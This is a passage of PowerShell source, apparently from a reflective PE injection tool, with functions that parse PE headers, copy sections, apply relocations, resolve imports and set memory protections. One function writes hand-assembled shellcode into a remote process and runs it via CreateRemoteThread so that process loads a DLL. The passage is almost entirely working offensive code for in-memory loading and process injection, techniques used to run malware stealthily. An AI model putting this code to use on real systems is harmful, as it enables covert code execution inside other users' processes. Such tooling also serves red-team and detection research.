       $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
       $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
       
       #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
       if ($imageNtHeaders64.Signature -ne 0x00004550)
       {
           throw "Invalid IMAGE_NT_HEADER signature."
       }
       
       if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
       {
           $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
           $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
       }
       else
       {
           $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
           $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
           $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
       }
       
       return $NtHeadersInfo
   }


   #This function will get the information needed to allocated space in memory for the PE
   Function Get-PEBasicInfo
   {
       Param(        
       [Parameter(Position = 0, Mandatory = $true)]
       [System.Object]
       $Win32Types
       )
       
       $PEInfo = New-Object System.Object
       
       #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
       [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
       [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
       
       #Get NtHeadersInfo
       $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
       
       #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
       $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
       $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
       $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
       $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
       $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
       
       #Free the memory allocated above, this isn't where we allocate the PE to memory
       [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
       
       return $PEInfo
   }


   #PEInfo must contain the following NoteProperties:
   #    PEHandle: An IntPtr to the address the PE is loaded to in memory
   Function Get-PEDetailedInfo
   {
       Param(
       [Parameter( Position = 0, Mandatory = $true)]
       [IntPtr]
       $PEHandle,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Types,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Constants
       )
       
       if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
       {
           throw 'PEHandle is null or IntPtr.Zero'
       }
       
       $PEInfo = New-Object System.Object
       
       #Get NtHeaders information
       $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
       
       #Build the PEInfo object
       $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
       $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
       $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
       $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
       $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
       
       if ($PEInfo.PE64Bit -eq $true)
       {
           [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
           $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
       }
       else
       {
           [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
           $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
       }
       
       if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
       {
           $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
       }
       elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
       {
           $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
       }
       else
       {
           Throw "PE file is not an EXE or DLL"
       }
       
       return $PEInfo
   }
   
   
   Function Import-DllInRemoteProcess
   {
       Param(
       [Parameter(Position=0, Mandatory=$true)]
       [IntPtr]
       $RemoteProcHandle,
       
       [Parameter(Position=1, Mandatory=$true)]
       [IntPtr]
       $ImportDllPathPtr
       )
       
       $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
       
       $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
       $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
       $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
       if ($RImportDllPathPtr -eq [IntPtr]::Zero)
       {
           Throw "Unable to allocate memory in the remote process"
       }

       [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
       $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
       
       if ($Success -eq $false)
       {
           Throw "Unable to write DLL path to remote process memory"
       }
       if ($DllPathSize -ne $NumBytesWritten)
       {
           Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
       }
       
       $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
       $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
       
       [IntPtr]$DllAddress = [IntPtr]::Zero
       #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
       #    Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
       if ($PEInfo.PE64Bit -eq $true)
       {
           #Allocate memory for the address returned by LoadLibraryA
           $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
           if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
           {
               Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
           }
           
           
           #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
           $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
           $LoadLibrarySC2 = @(0x48, 0xba)
           $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
           $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
           
           $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
           $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
           $SCPSMemOriginal = $SCPSMem
           
           Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
           [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
           Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
           [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
           Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
           [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
           Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
           $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)

           
           $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
           if ($RSCAddr -eq [IntPtr]::Zero)
           {
               Throw "Unable to allocate memory in the remote process for shellcode"
           }
           
           $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
           if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
           {
               Throw "Unable to write shellcode to remote process memory."
           }
           
           $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
           $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
           if ($Result -ne 0)
           {
               Throw "Call to CreateRemoteThread to call GetProcAddress failed."
           }
           
           #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
           [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
           $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
           if ($Result -eq $false)
           {
               Throw "Call to ReadProcessMemory failed"
           }
           [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

           $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
           $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
       }
       else
       {
           [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
           $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
           if ($Result -ne 0)
           {
               Throw "Call to CreateRemoteThread to call GetProcAddress failed."
           }
           
           [Int32]$ExitCode = 0
           $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
           if (($Result -eq 0) -or ($ExitCode -eq 0))
           {
               Throw "Call to GetExitCodeThread failed"
           }
           
           [IntPtr]$DllAddress = [IntPtr]$ExitCode
       }
       
       $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
       
       return $DllAddress
   }

   Function Copy-Sections
   {
       Param(        
       [Parameter(Position = 0, Mandatory = $true)]
       [System.Object]
       $PEInfo,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Functions,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Types
       )
       
       for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
       {
           [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
           $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
       
           #Address to copy the section to
           [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
           
           #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
           #    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
           #    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
           #    so truncate SizeOfRawData to VirtualSize
           $SizeOfRawData = $SectionHeader.SizeOfRawData

           if ($SectionHeader.PointerToRawData -eq 0)
           {
               $SizeOfRawData = 0
           }
           
           if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
           {
               $SizeOfRawData = $SectionHeader.VirtualSize
           }
           
           if ($SizeOfRawData -gt 0)
           {
               #Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
               [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
           }
       
           #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
           if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
           {
               $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
               [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
               #Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
               $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
           }
       }
   }


   Function Update-MemoryAddresses
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [System.Object]
       $PEInfo,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [Int64]
       $OriginalImageBase,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Constants,
       
       [Parameter(Position = 3, Mandatory = $true)]
       [System.Object]
       $Win32Types
       )
       
       [Int64]$BaseDifference = 0
       $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
       [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
       
       #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
       if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
               -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
       {
           return
       }


       elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
       {
           $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
           $AddDifference = $false
       }
       elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
       {
           $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
       }
       
       #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
       [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
       while($true)
       {
           #If SizeOfBlock == 0, we are done
           $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)

           if ($BaseRelocationTable.SizeOfBlock -eq 0)
           {
               break
           }

           [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
           $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2

           #Loop through each relocation
           for($i = 0; $i -lt $NumRelocations; $i++)
           {
               #Get info for this relocation
               $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
               [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])

               #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
               [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
               [UInt16]$RelocType = $RelocationInfo -band 0xF000
               for ($j = 0; $j -lt 12; $j++)
               {
                   $RelocType = [Math]::Floor($RelocType / 2)
               }

               #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
               #This appears to be true for EXE's as well.
               #    Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
               if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
                       -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
               {            
                   #Get the current memory address and update it based off the difference between PE expected base address and actual base address
                   [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
                   [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
       
                   if ($AddDifference -eq $true)
                   {
                       [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                   }
                   else
                   {
                       [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                   }                

                   [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
               }
               elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
               {
                   #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
                   Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
               }
           }
           
           $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
       }
   }


   Function Import-DllImports
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [System.Object]
       $PEInfo,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Functions,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Types,
       
       [Parameter(Position = 3, Mandatory = $true)]
       [System.Object]
       $Win32Constants,
       
       [Parameter(Position = 4, Mandatory = $false)]
       [IntPtr]
       $RemoteProcHandle
       )
       
       $RemoteLoading = $false
       if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
       {
           $RemoteLoading = $true
       }
       
       if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
       {
           [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
           
           while ($true)
           {
               $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
               
               #If the structure is null, it signals that this is the end of the array
               if ($ImportDescriptor.Characteristics -eq 0 `
                       -and $ImportDescriptor.FirstThunk -eq 0 `
                       -and $ImportDescriptor.ForwarderChain -eq 0 `
                       -and $ImportDescriptor.Name -eq 0 `
                       -and $ImportDescriptor.TimeDateStamp -eq 0)
               {
                   #Write-Verbose "Done importing DLL imports"
                   break
               }

               $ImportDllHandle = [IntPtr]::Zero
               $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
               $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
               
               if ($RemoteLoading -eq $true)
               {
                   $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
               }
               else
               {
                   $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
               }

               if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
               {
                   throw "Error importing DLL, DLLName: $ImportDllPath"
               }
               
               #Get the first thunk, then loop through all of them
               [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
               [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
               [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
               
               while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
               {
                   $LoadByOrdinal = $false
                   [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
                   #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
                   #    If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
                   #    and doing the comparison, just see if it is less than 0
                   [IntPtr]$NewThunkRef = [IntPtr]::Zero
                   if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
                   {
                       [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
                       $LoadByOrdinal = $true
                   }
                   elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
                   {
                       [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
                       $LoadByOrdinal = $true
                   }
                   else
                   {
                       [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
                       $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
                       $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
                       $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
                   }
                   
                   if ($RemoteLoading -eq $true)
                   {
                       # [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
                   }
                   else
                   {
                       #Write-Host "DLL: $ImportDllPath, Proc: $ProcedureNamePtr"
                       [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
                   }
                   
                   if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
                   {
                       if ($LoadByOrdinal)
                       {
                           Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
                       }
                       else
                       {
                           Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
                       }
                   }

                   [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
                   
                   $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
                   [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
                   [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

                   #Cleanup
                   #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
                   if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
                   {
                       [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
                       $ProcedureNamePtr = [IntPtr]::Zero
                   }
               }
               
               $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
           }
       }
   }

   Function Get-VirtualProtectValue
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [UInt32]
       $SectionCharacteristics
       )
       
       $ProtectionFlag = 0x0
       if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
       {
           if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
           {
               if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
               {
                   $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
               }
               else
               {
                   $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
               }
           }
           else
           {
               if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
               {
                   $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
               }
               else
               {
                   $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
               }
           }
       }
       else
       {
           if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
           {
               if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
               {
                   $ProtectionFlag = $Win32Constants.PAGE_READWRITE
               }
               else
               {
                   $ProtectionFlag = $Win32Constants.PAGE_READONLY
               }
           }
           else
           {
               if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
               {
                   $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
               }
               else
               {
                   $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
               }
           }
       }
       
       if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
       {
           $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
       }
       
       return $ProtectionFlag
   }

   Function Update-MemoryProtectionFlags
   {
       Param(
       [Parameter(Position = 0, Mandatory = $true)]
       [System.Object]
       $PEInfo,
       
       [Parameter(Position = 1, Mandatory = $true)]
       [System.Object]
       $Win32Functions,
       
       [Parameter(Position = 2, Mandatory = $true)]
       [System.Object]
       $Win32Constants,
       
       [Parameter(Position = 3, Mandatory = $true)]
       [System.Object]
       $Win32Types
       )
       
       for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
       {
           [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
           $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
           [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
           
           [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
           [UInt32]$SectionSize = $SectionHeader.VirtualSize
           
           [UInt32]$OldProtectFlag = 0
           #Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
